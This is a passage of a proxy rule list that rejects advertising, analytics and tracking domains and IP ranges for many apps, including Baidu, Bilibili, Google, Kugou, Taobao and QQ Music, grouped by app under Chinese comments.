baiduzhidahao.cc, reject +host-suffix, cpro.baidu.cn, reject +host-suffix, crs.baidu.com, reject +host-suffix, datax.baidu.com, reject +host-suffix, dl.client.baidu.com, reject +host-suffix, dl.ops.baidu.com, reject +host-suffix, dl1sw.baidu.com, reject +host-suffix, dl2.bav.baidu.com, reject +host-suffix, dlsw.baidu.com, reject +host-suffix, dlsw.br.baidu.com, reject +host-suffix, dl-vip.bav.baidu.com, reject +host-suffix, dl-vip.pcfaster.baidu.co.th, reject +host-suffix, download.bav.baidu.com, reject +host-suffix, download.sd.baidu.com, reject +host-suffix, drmcmm.baidu.com, reject +host-suffix, duiwai.baidu.com, reject +host-suffix, dxp.baidu.com, reject +host-suffix, dzl.baidu.com, reject +host-suffix, e.baidu.com, reject +host-suffix, eclick.baidu.com, reject +host-suffix, eiv.baidu.com, reject +host-suffix, em.baidu.com, reject +host-suffix, entry.baidu.com, reject +host-suffix, ers.baidu.com, reject +host-suffix, fclick.baidu.com, reject +host-suffix, feed.baidu.com, reject +host-suffix, fexclick.baidu.com, reject +host-suffix, g.baidu.com, reject +host-suffix, gimg.baidu.com, reject +host-suffix, guanjia.baidu.com, reject +host-suffix, hc.baidu.com, reject +host-suffix, hdj.baidu.com, reject +host-suffix, hpd.baidu.com, reject +host-suffix, idm-su.baidu.com, reject +host-suffix, iebar.baidu.com, reject +host-suffix, ikcode.baidu.com, reject +host-suffix, iwanad.baidu.com, reject +host-suffix, j.br.baidu.com, reject +host-suffix, jb.mbaidu.top, reject +host-suffix, js.mbaidu.top, reject +host-suffix, kstj.baidu.com, reject +host-suffix, m.baidu.com.yiqisee.cn, reject +host-suffix, m.baidu.com.zhiduo.org, reject +host-suffix, m1.baidu.com, reject +host-suffix, ma.baidu.com, reject +host-suffix, mpro.baidu.com, reject +host-suffix, msite.baidu.com, reject +host-suffix, mssp.baidu.com, reject +host-suffix, mtj.baidu.com, reject +host-suffix, neirong.baidu.com, reject +host-suffix, nlog.baidu.com, reject +host-suffix, nsclickvideo.baidu.com, reject +host-suffix, openrcv.baidu.com, reject +host-suffix, paimgcdn.baidu.com, reject +host-suffix, pc.videoclick.baidu.com, reject +host-suffix, push.zhanzhang.baidu.com, reject +host-suffix, qianclick.baidu.com, reject +host-suffix, release.baidu.com, reject +host-suffix, river.zhidao.baidu.com, reject +host-suffix, rj.baidu.com, reject +host-suffix, rplog.baidu.com, reject +host-suffix, s.baidu.com, reject +host-suffix, sclick.baidu.com, reject +host-suffix, sestat.baidu.com, reject +host-suffix, shadu.baidu.com, reject +host-suffix, sobar.baidu.com, reject +host-suffix, sobartop.baidu.com, reject +host-suffix, spcode.baidu.com, reject +host-suffix, tk.baidu.com, reject +host-suffix, tkweb.baidu.com, reject +host-suffix, toolbar.baidu.com, reject +host-suffix, tuijian.baidu.com, reject +host-suffix, tuisong.baidu.com, reject +host-suffix, ucstat.baidu.com, reject +host-suffix, ulic.baidu.com, reject +host-suffix, ulog.imap.baidu.com, reject +host-suffix, union.baidu.com, reject +host-suffix, union.baidustatic.guannin.com, reject +host-suffix, unionimage.baidu.com, reject +host-suffix, utility.baidu.com, reject +host-suffix, utk.baidu.com, reject +host-suffix, videopush.baidu.com, reject +host-suffix, w.gdown.baidu.com, reject +host-suffix, w.x.baidu.com, reject +host-suffix, wangmeng.baidu.com, reject +host-suffix, weishi.baidu.com, reject +host-suffix, wisepush.video.baidu.com, reject +host-suffix, wm.baidu.com, reject +host-suffix, yingxiao.baidu.com, reject +host-suffix, znsv.baidu.com, reject +host-suffix, baidustatic.com, reject +host-suffix, als.baidu.com, reject +host-suffix, duclick.baidu.com, reject +host-suffix, hm.baidu.com, reject +host-suffix, hmma.baidu.com, reject +host-suffix, mobads.baidu.com, reject +host-suffix, mobads-logs.baidu.com, reject +host-suffix, nsclick.baidu.com, reject +host, hm.baidu.com, reject +host, hmma.baidu.com, reject +# 百度地图 +host, afd.baidu.com, reject +host, afdconf.baidu.com, reject +host, httpdns.baidubce.com, reject +host, lc.map.baidu.com, reject + +# > 百度贴吧 屏蔽域名dns查询 +IP-CIDR, 180.76.76.200/32, reject + +# > 哔哩哔哩 +;HOST, mall.bilibili.com, REJECT +;HOST, passport.bilibili.com, REJECT +host-keyword, api.sobot.com, reject +host-suffix, cm.ad.bilibili.com, reject +host-suffix, cm.adcommon.bilibili.com, reject +host-suffix, cm.game.bilibili.com, reject +host-suffix, cm.track.biligame.bilibili.com, reject + +# > 百词斩 +host, advertise.baicizhan.com, reject +host, advertise.baicizhan.org, reject + +# > Braze +host-suffix, iad.appboy.com, reject +host-suffix, iad-03.appboy.com, reject +host-suffix, iad-01.braze.com, reject +host-suffix, iad-02.braze.com, reject +host-suffix, iad-03.braze.com, reject +host-suffix, iad-04.braze.com, reject +host-suffix, iad-05.braze.com, reject +host-suffix, iad-06.braze.com, reject +host-suffix, iad-08.braze.com, reject + + + +# >>>>>>>>>>>>>>> ✅ C ✅ <<<<<<<<<<<<<< +# > C&J Marketing +# https://www.zhihu.com/question/46746200, reject +host-suffix, alienskins.cn, reject +host-suffix, anydeskchina.cn, reject +host-suffix, betterzipcn.com, reject +host-suffix, dongmansoft.com, reject +host-suffix, earmasterchina.cn, reject +host-suffix, folxchina.cn, reject +host-suffix, hypeapp.cn, reject +host-suffix, idmchina.net, reject +host-suffix, imazingchina.com, reject +host-suffix, luping.net.cn, reject +host-suffix, mindmanager.cn, reject +host-suffix, officesoftcn.com, reject +host-suffix, photozoomchina.com, reject +host-suffix, xitongqingli.com, reject + +# > Camera360 +host, dispatcher.360in.com, reject +host, ad.360in.com, reject +host, exp.360in.com, reject + +# > 车来乐 +host, atrace.chelaile.net.cn, reject +host, logs.chelaile.net.cn, reject + +# > 创维 +host-suffix, hoisin.coocaa.com, reject +host-suffix, hoisin.coocaatv.com, reject +host, data-hoisin.coocaa.com, reject + +# > 车来了(包括小程序) +host-suffix, atrace.chelaile.net.cn, reject +host, logs.chelaile.net.cn, reject +host, ad.chelaile.net.cn, reject + + + +# >>>>>>>>>>>>>>> ✅ D ✅ <<<<<<<<<<<<<< +# > Dr.Peng +;IP-CIDR, 10.72.25.0/24, reject +IP-CIDR, 211.161.101.110/32, reject + +# > 叮嗒出行 +host-keyword, image.bianxianmao.com, reject + +# > 滴滴青桔(支付界面图片有误杀) +;host-keyword, pt-starimg.didistatic.com, reject +ip-cidr, 203.107.1.1/24, reject + +# > 懂车帝 +host-keyword, p3-pack.byteimg.com, reject +host-keyword, p6-pack.byteimg.com, reject + +# > 懂球帝 +host-keyword, apimg.qunliao.info, reject + +# > 抖音 +host-keyword, bds.snssdk.com, reject +host-keyword, p3.pstatp.com, reject + +# > 多多视频 +host-suffix, bayescom.com, reject + +# > Daum +host, track.tiara.daum.net, reject +host, track.tiara.kakao.com, reject + +# > 朵朵校友圈 微信小程序去广告 +host-suffix, ad.duoduo.link, reject + +# > 盯盯拍 广告联盟已包含 + +# > 叮咚买菜 +host, trackercollect.ddxq.mobi, reject +host, ddfs-public.ddimg.mobi, reject +host, rttrack.ddxq.mobi, reject + +# >>>>>>>>>>>>>>> ✅ E ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ F ✅ <<<<<<<<<<<<<< +# > 番茄小说 +host-suffix, byteimg.com, DIRECT +host, i.snssdk.com, REJECT +host, i-lq.snssdk.com, REJECT +host, dig.bdurl.net, REJECT +host, activity-ag.awemeughun.com, REJECT +host, mcs.snssdk.com, REJECT +host, tnc3-alisc1.snssdk.com, REJECT +host, security-lq.snssdk.com, REJECT +host, tnc3-aliec2.snssdk.com, REJECT +#host, is.snssdk.com, REJECT +host, i.snssdk.com, REJECT +host, v6-novelapp.ixigua.com, REJECT +host-suffix, novelapp.ixigua.com, REJECT +host-suffix, default.ixigua.com, REJECT +host, msync-im1-vip6-std.easemob.com, REJECT +host, apd-pcdnwxlogin.teg.tencent-cloud.net, REJECT +host, api.iegadp.qq.com, REJECT +host-suffix, byteorge.com, REJECT +# 下面两条误杀严重导致懂车帝无法正常使用 +#host-suffix, bytegoofy.com, REJECT +#host-suffix, bytedance.com, REJECT +IP-CIDR, 49.71.37.101/32, REJECT +IP-CIDR, 117.71.105.23/32, REJECT +IP-CIDR, 218.94.207.205/32, REJECT +IP-CIDR, 117.92.229.188/32, REJECT +IP-CIDR, 101.36.166.16/32, REJECT +IP-CIDR, 180.96.2.114/32, REJECT + +# > 凤凰新媒体 +host-suffix, deliver.ifeng.com, reject +host, api.newad.ifeng.com, reject +host, ifengad.3g.ifeng.com, reject + + + +# >>>>>>>>>>>>>>> ✅ G ✅ <<<<<<<<<<<<<< +# > GozenData +# https://www.v2ex.com/t/772523, reject +host-suffix, gozendata.com, reject +host-suffix, gzads.com, reject +host-suffix, gz-data.com, reject + +# > GrowingIO +host-suffix, giocdn.com, reject + +# > 光大银行阳光惠生活 +host-keyword, talk.bz.getui.com, reject + +# > 谷歌 +host-suffix, google-analytics.com, reject +host, safebrowsing.googleapis.com, reject +host-suffix, doubleclick.net, reject +host-suffix, googleadservices.com, reject +host-suffix, googleadsserving.cn, reject +host-suffix, googlesyndication.com, reject +host-suffix, googletagservices.com, reject +host-suffix, googletagmanager.com, reject +host-suffix, video-ad-stats.googlesyndication.com, reject +host-suffix, tpc.googlesyndication.com, reject +host-suffix, pagead.google.com, reject +host-suffix, pagead.l.google.com, reject +host-suffix, pagead2.googlesyndication.com, reject +host-suffix, pagead-tpc.l.google.com, reject +host-suffix, mobileads.google.com, reject +host-suffix, googlecommerce.com, reject +host-suffix, blaaaa12.googlecode.com, reject +host-suffix, badad.googleplex.com, reject +host-suffix, afs.googlesyndication.com, reject +host-suffix, afd.l.google.com, reject +host-suffix, www.googleadservices.com, reject +host-suffix, www.google-analytics.com, reject +host, ads.youtube.com, reject + +# > 高德 +;host, restapi.amap.com, reject +host-suffix, adiu.amap.com, reject +host, aboard.apilocate.amap.com, reject +host, apiinit.amap.com, reject +host, icloud-amap.com, reject +host, logs.amap.com, reject +host-suffix, dualstack-logs.amap.com, reject +host-suffix, logs.amap.com, reject +host-suffix, optimus-ads.amap.com, reject +host-suffix, page.amap.com, reject +host, optimus-ads.amap.com, reject +host, optimus-ads.amap.com.w.alikunlun.com, reject +host-suffix, shouji.sougou.com, reject +host, u51.me, reject +host-suffix, u51.me, reject + +# > 广州地铁乘车码 +# 多个广告 感谢CtrlMusic🐓分享 +host, apis.alenable.com, reject + + + +# >>>>>>>>>>>>>>> ✅ H ✅ <<<<<<<<<<<<<< +# > HDO +;host-suffix, applovin.com, reject +;host-suffix, applvn.com, reject + +# > Huawei AspiegelBot +IP-CIDR, 114.119.160.0/21, reject + +# > 湖南卫视 +host-suffix, da.hunantv.com, reject +host-suffix, log.hunantv.com, reject +host-suffix, v2.hunantv.com, reject +host-suffix, click.hunantv.com, reject +host-suffix, mp4.res.hunantv.com, reject +host-suffix, res.hunantv.com, reject +host-suffix, x.da.hunantv.com, reject +host-suffix, x1.da.hunantv.com, reject +host-suffix, y.da.hunantv.com, reject +host-suffix, log.v2.hunantv.com, reject +host-suffix, v2.log.hunantv.com, reject + +# > 虎扑 +host, adx.hupu.com, reject +host, adx-api.hupu.com, reject +host, goblin.hupu.com, reject + +# > 虎牙直播 开屏广告 +host, pp-cdnfile2pcdn.msstatic.com, reject +host, livewebbs2pcdn.msstatic.com, reject +host, huyafile.msstatic.com, reject +host, livewebbs2.msstatic.com, reject +host, business.msstatic.com, reject +host-suffix, v1d.szbdyd.com, reject + +# > 哈啰 大部分图片无法正常加载 +;host-keyword, assets.51downapp.cn, reject + +# > 黄油相机 #开屏广告 感谢#Dragon分享 +host-suffix, anythinktech.com, reject +host-suffix, adkwai.com, reject +host-suffix, mob.com, reject + + + +# >>>>>>>>>>>>>>> ✅ J ✅ <<<<<<<<<<<<<< +# > jxedt +host, richmanapi.jxedt.com, reject +host, richmanmain.jxedt.com, reject +host, richmanrules.jxedt.com, reject + +# > 金山词霸 +host, ad-stat.ksosoft.com, reject +host, img.auction-ads.wpscdn.cn, reject +host, counter.kingsoft.com, reject +host, counter.ksosoft.com, reject +host, minfo.wps.cn, reject +host, mobad.ijinshan.com, reject +host, ups.ksmobile.net, reject +host, ws.ksmobile.net, reject + +# > 今日头条 +host, dm.toutiao.com, reject +host-keyword, ad.toutiao.com, reject +host-keyword, clk.gentags.net, reject +host-keyword, dm.toutiao.com, reject +host-keyword, dm.pstatp.com, reject +host-keyword, dm.bytedance.com, reject +host-keyword, uop.umeng.com, reject +host-keyword, m.suning.com, reject +host-keyword, adshare.toutiao.com, reject +host-keyword, tunion-api.m.taobao.com, reject +host-keyword, s1.pstatp.com, reject +host-keyword, s2.pstatp.com, reject +host-keyword, s3.pstatp.com, reject +host-keyword, a3.pstatp.com, reject +host-keyword, a3.bytecdn.cn, reject +;host-keyword, ichannel.snssdk.com, reject +host, ad.toutiao.com, reject +host, dsp.toutiao.com, reject + +# > 京东 +host-suffix, jzt.jd.com, reject +host-suffix, img-x.jd.com, reject +host-suffix, du.jd.com, reject +host-suffix, c-nfa.jd.com, reject +host-suffix, cm.jd.com, reject +host-suffix, jddebug.com, reject +host-keyword, policy.jd.com, reject +host-keyword, kepler.jd.com, reject +host-keyword, bdsp.x.jd.com, reject +host-keyword, keplerapi.jd.com, reject +host-keyword, mapi.m.jd.com, reject +# 屏蔽DNS +host, dns.jd.com, reject +IP-CIDR, 101.124.19.122/32, reject +IP6-CIDR, 2402:db40:5100:1011::5/128, reject + +# > 建行生活 +# 内置饿了么外卖弹窗 +host, o2o-ad-log-gateway.alibaba.com, reject + + + +# >>>>>>>>>>>>>>> ✅ K ✅ <<<<<<<<<<<<<< +# > keep +host, apm.gotokeep.com, reject +host, kad.gotokeep.com, reject +host, hc-ssp.sm.cn, reject + +# > 快乐广播 +host, ad.hpplay.cn, reject +host, adc.hpplay.cn, reject +host, adcdn.hpplay.cn, reject +host, adeng.hpplay.cn, reject +host, pin.hpplay.cn, reject +host, rp.hpplay.cn, reject +host, rpt.hpplay.cn, reject + +# > 快手 +;host-suffix, yximgs.com, reject +;host, js-ad.a.yximgs.com, reject +host-suffix, e.kuaishou.com, reject +host-suffix, cm.downloader.commercial.kuaishou.com, reject +host-suffix, cm.ad.gifshow.com, reject +host-suffix, cm.kwad.com, reject + +# > 快压zip +host-suffix, kuaizip.com, reject + +# > 酷狗音乐 +host, adserviceretry.kugou.com, reject +host, ads.service.kugou.com, reject +host, adsfile.bssdlbig.kugou.com, reject +host, g.koowo.com, reject +host, kgmobilestat.kugou.com, reject +host, kgmobilestatbak.kugou.com, reject +host, mobilelog.kugou.com, reject +host, adsfile.bssdlbig.kugou.com, reject +host, pgdt.gtimg.com, reject +host, adsmind.gdtimg.com, reject +host-keyword, searchrecommend.kugou.com, reject +host-keyword, nbcollectretry.kugou.com, reject +host-keyword, rtmretry.kugou.com, reject +host-keyword, rt-m.kugou.com, reject +host-keyword, nbcollect.kugou.com, reject +host-keyword, c1img.ali.kugou.com, reject +host-keyword, kgstaticdlbssdlbig.tx.kugou.com, reject +host-keyword, adsfilebssdlbig.ali.kugou.com, reject +host-keyword, splashimgbssdl.yun.kugou.com, reject +host-keyword, adservice.kugou.com, reject +host-keyword, kgipadstat.kugou.com, reject +host-keyword, kgipadstatbak.kugou.com, reject +host-keyword, logwebs.kugou.com, reject +host-keyword, tracker.kugou.com, reject +host-keyword, trackercdnbj.kugou.com, reject +host-suffix, oth.eve.mdt.qq.com, reject +host-suffix, channel.fanxing.kugou.com, reject +host-suffix, d.kugou.com, reject +host-suffix, downmobile.kugou.com, reject +host-suffix, gad.kugou.com, reject +host-suffix, game.kugou.com, reject +host-suffix, gamebox.kugou.com, reject +host-suffix, gcapi.sy.kugou.com, reject +host-suffix, gg.kugou.com, reject +host-suffix, install.kugou.com, reject +host-suffix, install2.kugou.com, reject +host-suffix, minidcsc.kugou.com, reject +host-suffix, mo.kugou.com, reject +host-suffix, msg.mobile.kugou.com, reject +host-suffix, mvads.kugou.com, reject +host-suffix, p.kugou.com, reject +host-suffix, push.mobile.kugou.com, reject +host-suffix, rtmonitor.kugou.com, reject +host-suffix, sdn.kugou.com, reject +host-suffix, song.fanxing.kugou.com, reject +host-suffix, update.mobile.kugou.com, reject +host-suffix, youxi.kugou.com, reject +host-suffix, adserviceretry.kugou.com, reject +host-suffix, ads.service.kugou.com, reject +host-suffix, adsfile.bssdlbig.kugou.com, reject +host-suffix, log.stat.kugou.com, reject +host-suffix, log.web.kugou.com, reject +host-suffix, kgmobilestat.kugou.com, reject +host-suffix, kgmobilestatbak.kugou.com, reject +host-suffix, mobilelog.kugou.com, reject + +# > 酷我音乐 +host, mobilead.kuwo.cn, reject +host, rich.kuwo.cn, reject +host-keyword, rich.kuwo.cn, reject +host-keyword, mobilead.kuwo.cn, reject +host-suffix, c.kuwo.cn, reject +host-suffix, deliver.kuwo.cn, reject +host-suffix, game.kuwo.cn, reject +host-suffix, kuwoyy.com, reject +host-suffix, kwmsg.kuwo.cn, reject +host-suffix, msclick2.kuwo.cn, reject +host-suffix, msphoneclick.kuwo.cn, reject +host-suffix, updatepage.kuwo.cn, reject +host-suffix, wa.kuwo.cn, reject +host-suffix, webstat.kuwo.cn, reject +host-suffix, mobilead.kuwo.cn, reject +host-suffix, rich.kuwo.cn, reject + +# > 酷安 广告联盟已包含 + + + +# >>>>>>>>>>>>>>> ✅ L ✅ <<<<<<<<<<<<<< +# > LinkWiFi +host, a.wkanx.com, reject +host, cwx.lianwangtech.com, reject +host, c1wx.lianwangtech.com, reject + +# > 蓝基因(弹窗还在,需要手动关闭) +host-keyword, medicine.lanjiyin.com.cn, reject + +# > 两步路 +host-suffix, admobile.top, reject + +# > 乐视 +host-suffix, webp2p.letv.com, reject +host, ark.letv.com, reject +host, emma-414870e223.huodonghezi.com, reject +host, g3.letv.com, reject +host, n.mark.letv.com, reject + + + +# >>>>>>>>>>>>>>> ✅ M ✅ <<<<<<<<<<<<<< +# > MacKeeper +host-suffix, zryydi.com, reject + +# > 美团 +host, flowplus.meituan.net, reject +host-suffix, analytics.meituan.net, reject +host-suffix, meituan.xn, reject +host-suffix, meituan.yoga, reject +host-suffix, meituangov.cn, reject +host-suffix, report.meituan.com, reject +host-suffix, wmlog.meituan.com, reject +host-suffix, ad.e.waimai.sankuai.com, reject +host-suffix, mads.meituan.com, reject +host-suffix, dreport.meituan.net, reject +host-suffix, d.meituan.net, reject + +# > 美颜相机 去首页和轮播广告 +host, adui.tg.meitu.com, reject +host, aaid.uyunad.com, reject + +# > 美柚 +host, ad.seeyouyima.com, reject + +# > 买单吧 +host-suffix, c-hzgt2.getui.com, reject +host-suffix, c-hzgt2.getui.com, reject +host-suffix, gs.getui.com, reject + +# > 民生银行 +host-keyword, cm-10-134.getui.com, reject +host-keyword, sdk.open.talk.getui.com, reject +host-keyword, cm-10-35.getui.com, reject +host-keyword, c-hzgt2.getui.com, reject + +# > 墨迹天气 +host-keyword, fds.api.moji.com, reject +host-keyword, me.api.moji.com, reject +host-keyword, android.bugly.qq.com, reject +host-keyword, av1.xdrig.com, reject +host-keyword, adash.man.aliyuncs.com, reject +host-keyword, v1.log.moji.com, reject +host-keyword, ad.api.moji.com, reject +host, ad.api.moji.com, reject +host, adlaunch.moji.com, reject +host, ads.mojicdn.com, reject +host, v1.log.moji.com, reject + +# > 咪咕视频 +host-suffix, ad.cmvideo.cn, reject +host, ggc.cmvideo.cn, reject +host, ggv.cmvideo.cn, reject +host, ggx.cmvideo.cn, reject +host, ggx03.miguvideo.com, reject +host, ggic03.miguvideo.com, reject +host, ggmk.miguvideo.com, reject +host, ggadoffline.miguvideo.com, reject + +# > 小米米家 +host, sdkconfig.ad.xiaomi.com, reject + +# > 芒果TV +host, dflow.bz.mgtv.com, reject +host, encounter.bz.mgtv.com, reject +host, floor.bz.mgtv.com, reject +host, img.da.mgtv.com, reject +host, layer.bz.mgtv.com, reject +host, mob.bz.mgtv.com, reject +host, mobile.da.mgtv.com, reject +host, rc-topic-api.bz.mgtv.com, reject +host, v2.da.mgtv.com, reject +host, video.da.mgtv.com, reject +host, vip.bz.mgtv.com, reject +host, ys.da.mgtv.com, reject +host-suffix, mobile2.da.mgtv.com, reject +host-suffix, cdn.cmop.mgtv.com, reject +host-suffix, cmop.mgtv.com, reject +host-suffix, imgaliyun.da.mgtv.com, reject +host-suffix, imgaliyun.res.mgtv.com, reject +host-suffix, m2.da.mgtv.com, reject +host-suffix, mobaliyun.res.mgtv.com, reject +host-suffix, pc.da.mgtv.com, reject +host-suffix, pc1.da.mgtv.com, reject +host-suffix, pcvideoaliyun.titan.mgtv.com, reject +host-suffix, pcvideoyd.titan.mgtv.com, reject +host-suffix, pcweb.v1.mgtv.com, reject +host-suffix, py.da.mgtv.com, reject +host-suffix, web.da.mgtv.com, reject +host-suffix, x.da.mgtv.com, reject +host-suffix, y.da.mgtv.com, reject +host-suffix, da.mgtv.com, reject + + + +# >>>>>>>>>>>>>>> ✅ N ✅ <<<<<<<<<<<<<< +# > NicoNico +host, ads.nicovideo.jp, reject + + + +# >>>>>>>>>>>>>>> ✅ O ✅ <<<<<<<<<<<<<< +# > OPPO +host, adsfs.oppomobile.com, reject +host-suffix, ads.oppomobile.com, reject + +# > Outlook +host, acdn.adnxs.com, reject +host, mediation.adnxs.com, reject +host, sin3-ib.adnxs.com, reject + + + + +# >>>>>>>>>>>>>>> ✅ P ✅ <<<<<<<<<<<<<< +# > PPTV +host, ads.aplus.pptv.com, reject +host, ads.aplusapi.pptv.com, reject +host, asimgs.pplive.cn, reject +host, de.as.pptv.com, reject + +# > Photoable +host, regist.fotoable.com, reject +host, cdn.adapi.fotoable.com, reject + +# > PeanutWiFi +host, adnew.wifi8.com, reject +host, adfile.wifi8.com, reject + +# > PConline +host, ad-analysis.pconline.com.cn, reject +host, iad0ssl.pcauto.com.cn, reject +host, iad0ssl.pconline.com.cn, reject +host, imgad0.pcauto.com.cn, reject +host, imgad0.pconline.com.cn, reject +host, ivy.pchouse.com.cn, reject + +# > 皮皮虾(推荐视频不能预览) +host-keyword, log-api.pangolin-sdk-toutiao-b.com, reject +host-keyword, log-api.pangolin-sdk-toutiao.com, reject +host-keyword, api-access.pangolin-sdk-toutiao.com, reject + +# > 皮皮虾(比较激进,需要的自己开启) +;host-keyword, snssdk.com, reject +;host-keyword, mssdk.bytedance.com, reject +;host-keyword, api.ribaoapi.com, reject +;host-keyword, apps.bytesfield.com, reject +;host-keyword, bytesmanager.com, reject +;host-keyword, mssdk-bu.bytedance.com, reject +;host-keyword, 365yg.com, reject +;host-keyword, ppx.byteimg.com, reject +;host-keyword, i.snssdk.com, reject, reject + +# > 影响端传媒正常运行,默认关闭 +;host-suffix, cloudfront.net, reject + + + + +# >>>>>>>>>>>>>>> ✅ Q ✅ <<<<<<<<<<<<<< +# > QQ音乐 +host, adstats.tencentmusic.com, REJECT +host, ad.tencentmusic.com, REJECT +host, adcdn.tencentmusic.com, REJECT +host, adcdn6.tencentmusic.com, REJECT +host, adexpo.tencentmusic.com, REJECT +host, adclick.tencentmusic.com, REJECT +host, otheve.beacon.qq.com, REJECT +host, monitor.music.qq.com, REJECT +host, stat.y.qq.com, REJECT +host, tmead.y.qq.com, REJECT +host, oth.str.mdt.qq.com, REJECT +host, h.trace.qq.com, REJECT +host, sdk.e.qq.com, REJECT +host, p.l.qq.com, REJECT +host, us.l.qq.com, REJECT +host, tangram.e.qq.com, REJECT +host, tmeadbak.y.qq.com, REJECT +host-suffix, imtmp.net, REJECT +host, tmeadcomm.y.qq.com, reject +host, ad.tencentmusic.com, reject +host, adstats.tencentmusic.com, reject +host, tmead.y.qq.com, reject +host-suffix, rqd.qq.com, reject +host-suffix, wup.imtt.qq.com, reject +host-suffix, gdt.qq.com, reject +host-suffix, android.rqd.qq.com, reject +host-suffix, e.qq.com, reject +host-suffix, beacon.qq.com, reject +host-suffix, v.gdt.qq.com, reject +host, amsweb-cdn-gz-1258344696.file.myqcloud.com, REJECT +host, wallpaper-1258344696.file.myqcloud.com, REJECT +host, xs.gdt.qq.com,REJECT +IP-CIDR, 120.222.240.171/32, REJECT + +# > 蜻蜓FM +host, ad.qingting.fm, reject +host, adlaunch.qingting.fm, reject +host, ad-cdn.qingting.fm, reject + +# > 七猫小说 +host, cdn-new-ad.wtzw.com, REJECT +host, a-remad.qm989.com, REJECT +host, mobads.baidu.com, REJECT +host-suffix, gdt.qq.com, REJECT +host, qzs.gdtimg.com, REJECT +host, mobads-pre-config.cdn.bcebos.com, REJECT +host, pgdt.ugdtimg.com, REJECT + +# > 汽车之家 +host-keyword, adm3.autoimg.cn, reject +;host-keyword, audid-api.taobao.com, reject +host-keyword, collectionpv.che168.com, reject +host-keyword, adproxy.autohome.com, reject +host-keyword, applogapi.autohome.com, reject +host, adproxy.autohome.com.cn, reject +host, rd.autohome.com.cn, reject +host, al.autohome.com.cn, reject +host, applogapi.autohome.com.cn, reject +host, adm0.autoimg.cn, reject +host, adm1.autoimg.cn, reject +host, adm2.autoimg.cn, reject +host, adm3.autoimg.cn, reject + + + + +# >>>>>>>>>>>>>>> ✅ R ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ S ✅ <<<<<<<<<<<<<< +# > soul +host, soul-ad.soulapp.cn, reject +host, ad-r.soulapp.cn, reject +host, ad-reward.soulapp.cn, reject +host-suffix, cdn.soulapp.cn, reject +IP-CIDR, 47.56.131.76/32, REJECT +IP-CIDR, 47.97.215.55/32, REJECT +IP-CIDR, 47.99.42.29/32, REJECT +IP-CIDR, 120.27.235.201/32, REJECT +IP-CIDR, 121.196.197.147/32, REJECT + +# > Snapchat +host, ads.snapchat.com, reject +host, adsapi.snapchat.com, reject + +# > 搜狐 +host-suffix, ad.sohu.com, reject +host-suffix, ads.sohu.com, reject +host-suffix, aty.sohu.com, reject +host, hui.sohu.com, reject + +# > 搜狗 +;host, indivi-cdn.shouji.sogou.com, reject +host-suffix, epro.sogou.com, reject +host-suffix, golden1.sogou.com, reject +host-suffix, inte.sogou.com, reject +host-suffix, inte.sogoucdn.com, reject +host-suffix, lu.sogoucdn.com, reject +host-suffix, theta.sogoucdn.com, reject +host-suffix, uranus.sogou.com, reject +host-suffix, 123.sogou.com, reject +host-suffix, a1click.cpc.sogou.com, reject +host-suffix, adsence.sogou.com, reject +host-suffix, adstream.123.sogoucdn.com, reject +host-suffix, amfi.gou.sogou.com, reject +host-suffix, art.theta.sogoucdn.com, reject +host-suffix, athena.wan.sogou.com, reject +host-suffix, bazinga.mse.sogou.com, reject +host-suffix, bite.theta.sogoucdn.com, reject +host-suffix, brand.sogou.com, reject +host-suffix, bsiet.husky.sogou.com, reject +# 屏蔽京东和搜狗收集信息 @jFrecht +host-suffix, jdqd.jd.com, reject +host-suffix, shouji.sougou.com, reject + +# > 搜狗输入法 +;host-keyword, business-cdn.shouji.sogou.com, reject + +# > 深圳通微信小程序 +host-suffix, wxsnsdythumb.wxs.qq.com, reject + +# > 收钱吧 买单小程序去广告 +host, ads-shopping.shouqianba.com, reject + +# > 什么值得买 +host, aaid.uyunad.com, REJECT +host, acs4baichuan.m.taobao.com, REJECT +host, adashxgc.ut.taobao.com, REJECT +host, analytics-api.smzdm.com, REJECT +host, baichuan-sdk.alicdn.com, REJECT +host, dgstatic.jd.com, REJECT +host, msg.umengcloud.com, REJECT +host, sec.umeng.com, REJECT +host, ulogs.umeng.com, REJECT +host, ynuf.aliapp.org, REJECT + + + +# >>>>>>>>>>>>>>> ✅ T ✅ <<<<<<<<<<<<<< +# > TubeMax 感谢@可莉分享 +host-suffix, adjust.com, reject +host-suffix, applvn.com, reject +host-suffix, app-measurement.com, reject +host-suffix, pangle.io, reject +host-suffix, applovin.com, reject +host-suffix, appier.net, reject +host-suffix, adsmoloco.com, reject +host-suffix, adcanvas.com, reject + +# > The Paper +host, admonitor.thepaper.cn, reject +host, adpai.thepaper.cn, reject +host, imgadpai.thepaper.cn, reject + +# > TalkingData +host-suffix, cpatrk.net, reject + +# > Talkatone +host-suffix, tappx.com, reject + +# > 天神 +host, track.tenjin.com, reject +host, track.tenjin.io, reject +host, errlog.umeng.com, reject +host, lf9-cdn-tos.bytegecko.com, reject +host, novel.pangolin-sdk-toutiao.com, reject + +# > 淘宝 +host-suffix, apoll.m.taobao.com, reject +host-suffix, h-adashx.ut.taobao.com, reject +host-suffix, w.m.taobao.com, reject +host, tunion-api.m.taobao.com, reject +;host-suffix, ai.m.taobao.com, reject +host-suffix, re.m.taobao.com, reject +host-suffix, agoodm.m.taobao.com, reject +host-suffix, ai.taobao.com, reject +host-suffix, api.waptest.taobao.com, reject +host-suffix, dsp.simba.taobao.com, reject +host-suffix, fav.simba.taobao.com, reject +host-suffix, m.simba.taobao.com, reject +host-suffix, mclick.simba.taobao.com, reject +host-suffix, re.taobao.com, reject +host-suffix, redirect.simba.taobao.com, reject +host-suffix, simba.m.taobao.com, reject +host-suffix, srd.simba.taobao.com, reject +host-suffix, temai.taobao.com, reject +host-suffix, textlink.simba.taobao.com, reject +host-suffix, unitacs.m.taobao.com, reject +host-suffix, acs4baichuan.m.taobao.com, reject +host-suffix, adashbc.ut.taobao.com, reject +host-suffix, adash-c.ut.taobao.com, reject +host-suffix, adashxgc.ut.taobao.com, reject +host-suffix, adashx4yt.m.taobao.com, reject +host-suffix, tunion-api.m.taobao.com, reject +host-suffix, tns.simba.taobao.com, reject +host-suffix, click.mz.simba.taobao.com, reject +host-suffix, click.simba.taobao.com, reject +host-suffix, click.tz.simba.taobao.com, reject +host-suffix, stat.simba.taobao.com, reject +host-suffix, m-adash.m.taobao.com, reject +host-suffix, adashbc.m.taobao.com, reject + +# > 腾讯视频 +# 